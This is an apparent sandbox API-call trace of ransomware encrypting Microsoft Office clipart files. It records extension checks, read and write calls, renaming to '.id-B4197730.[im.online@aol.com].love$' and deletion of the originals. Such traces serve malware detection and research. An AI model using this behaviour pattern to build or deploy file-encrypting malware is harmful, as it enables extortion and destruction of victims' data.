lstrlenW (lpString=".xlsx") returned 5 [0274.130] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.130] lstrlenW (lpString=".ppt") returned 4 [0274.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.130] lstrlenW (lpString=".zip") returned 4 [0274.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.130] lstrlenW (lpString=".rar") returned 4 [0274.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.130] lstrlenW (lpString=".bz2") returned 4 [0274.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.130] lstrlenW (lpString=".7z") returned 3 [0274.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.130] lstrlenW (lpString=".dbf") returned 4 [0274.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.131] lstrlenW (lpString=".1cd") returned 4 [0274.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.131] lstrlenW (lpString=".jpg") returned 4 [0274.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.131] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.131] lstrlenW (lpString="J0105320.WMF") returned 12 [0274.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.132] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2020) returned 1 [0274.132] CloseHandle (hObject=0x454) returned 1 [0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0274.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.133] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.134] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.135] GetLastError () returned 0x0 [0274.135] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0274.139] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0274.141] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.141] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.141] SetEndOfFile (hFile=0x488) returned 1 [0274.141] CloseHandle (hObject=0x488) returned 1 [0274.141] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.141] SetEndOfFile (hFile=0x454) returned 1 [0274.148] CloseHandle (hObject=0x454) returned 1 [0274.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0274.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.151] lstrlenW (lpString=".doc") returned 4 [0274.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.151] lstrlenW (lpString=".docx") returned 5 [0274.151] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0274.151] lstrlenW (lpString=".pdf") returned 4 [0274.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.151] lstrlenW (lpString=".xls") returned 4 [0274.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.151] lstrlenW (lpString=".xlsx") returned 5 [0274.151] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0274.151] lstrlenW (lpString=".ppt") returned 4 [0274.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.151] lstrlenW (lpString=".zip") returned 4 [0274.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.152] lstrlenW (lpString=".rar") returned 4 [0274.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.152] lstrlenW (lpString=".bz2") returned 4 [0274.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.152] lstrlenW (lpString=".7z") returned 3 [0274.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.152] lstrlenW (lpString=".dbf") returned 4 [0274.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.152] lstrlenW (lpString=".1cd") returned 4 [0274.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.152] lstrlenW (lpString=".jpg") returned 4 [0274.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.152] lstrlenW (lpString=".doc") returned 4 [0274.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.153] lstrlenW (lpString=".docx") returned 5 [0274.153] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0274.153] lstrlenW (lpString=".pdf") returned 4 [0274.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.153] lstrlenW (lpString=".xls") returned 4 [0274.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.153] lstrlenW (lpString=".xlsx") returned 5 [0274.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0274.153] lstrlenW (lpString=".ppt") returned 4 [0274.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.153] lstrlenW (lpString=".zip") returned 4 [0274.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.153] lstrlenW (lpString=".rar") returned 4 [0274.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.153] lstrlenW (lpString=".bz2") returned 4 [0274.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.153] lstrlenW (lpString=".7z") returned 3 [0274.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.154] lstrlenW (lpString=".dbf") returned 4 [0274.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.154] lstrlenW (lpString=".1cd") returned 4 [0274.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0274.154] lstrlenW (lpString=".jpg") returned 4 [0274.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.154] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.154] lstrlenW (lpString="J0105328.WMF") returned 12 [0274.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.870] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=7992) returned 1 [0274.870] CloseHandle (hObject=0x488) returned 1 [0274.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0275.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0275.197] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.198] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0275.199] GetLastError () returned 0x0 [0275.199] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0275.201] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0275.202] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.202] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.203] SetEndOfFile (hFile=0x4c8) returned 1 [0275.203] CloseHandle (hObject=0x4c8) returned 1 [0275.203] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.203] SetEndOfFile (hFile=0x534) returned 1 [0275.206] CloseHandle (hObject=0x534) returned 1 [0275.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0275.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.208] lstrlenW (lpString=".doc") returned 4 [0275.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString=".docx") returned 5 [0275.208] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.208] lstrlenW (lpString=".pdf") returned 4 [0275.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString=".xls") returned 4 [0275.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.208] lstrlenW (lpString=".xlsx") returned 5 [0275.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.208] lstrlenW (lpString=".ppt") returned 4 [0275.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.208] lstrlenW (lpString=".zip") returned 4 [0275.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.208] lstrlenW (lpString=".rar") returned 4 [0275.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString=".bz2") returned 4 [0275.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString=".7z") returned 3 [0275.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.208] lstrlenW (lpString=".dbf") returned 4 [0275.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.208] lstrlenW (lpString=".1cd") returned 4 [0275.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString=".jpg") returned 4 [0275.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString=".doc") returned 4 [0275.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString=".docx") returned 5 [0275.209] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0275.209] lstrlenW (lpString=".pdf") returned 4 [0275.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString=".xls") returned 4 [0275.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.209] lstrlenW (lpString=".xlsx") returned 5 [0275.209] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0275.209] lstrlenW (lpString=".ppt") returned 4 [0275.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString=".zip") returned 4 [0275.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.209] lstrlenW (lpString=".rar") returned 4 [0275.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString=".bz2") returned 4 [0275.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString=".7z") returned 3 [0275.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString=".dbf") returned 4 [0275.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.209] lstrlenW (lpString=".1cd") returned 4 [0275.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0275.210] lstrlenW (lpString=".jpg") returned 4 [0275.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.210] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.210] lstrlenW (lpString="J0105386.WMF") returned 12 [0275.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0275.211] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=5980) returned 1 [0275.211] CloseHandle (hObject=0x534) returned 1 [0275.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0275.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0275.212] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.212] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0275.213] GetLastError () returned 0x0 [0275.213] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x175c, lpOverlapped=0x0) returned 1 [0275.215] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1760, lpOverlapped=0x0) returned 1 [0275.217] ReadFile (in: hFile=0x534, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.217] WriteFile (in: hFile=0x4c8, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.217] SetEndOfFile (hFile=0x4c8) returned 1 [0275.217] CloseHandle (hObject=0x4c8) returned 1 [0275.218] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.218] SetEndOfFile (hFile=0x534) returned 1 [0275.221] CloseHandle (hObject=0x534) returned 1 [0275.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0275.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.223] lstrlenW (lpString=".doc") returned 4 [0275.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.223] lstrlenW (lpString=".docx") returned 5 [0275.223] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0275.223] lstrlenW (lpString=".pdf") returned 4 [0275.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.223] lstrlenW (lpString=".xls") returned 4 [0275.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.223] lstrlenW (lpString=".xlsx") returned 5 [0275.224] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0275.224] lstrlenW (lpString=".ppt") returned 4 [0275.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString=".zip") returned 4 [0275.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.224] lstrlenW (lpString=".rar") returned 4 [0275.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString=".bz2") returned 4 [0275.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString=".7z") returned 3 [0275.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString=".dbf") returned 4 [0275.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString=".1cd") returned 4 [0275.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString=".jpg") returned 4 [0275.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.224] lstrlenW (lpString=".doc") returned 4 [0275.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString=".docx") returned 5 [0275.225] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0275.225] lstrlenW (lpString=".pdf") returned 4 [0275.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString=".xls") returned 4 [0275.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.225] lstrlenW (lpString=".xlsx") returned 5 [0275.225] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0275.225] lstrlenW (lpString=".ppt") returned 4 [0275.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0275.225] lstrlenW (lpString=".zip") returned 4 [0275.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.225] lstrlenW (lpString=".rar") returned 4 [0275.225] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.225] lstrlenW (lpString=".bz2") returned 4 [0275.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.225] lstrlenW 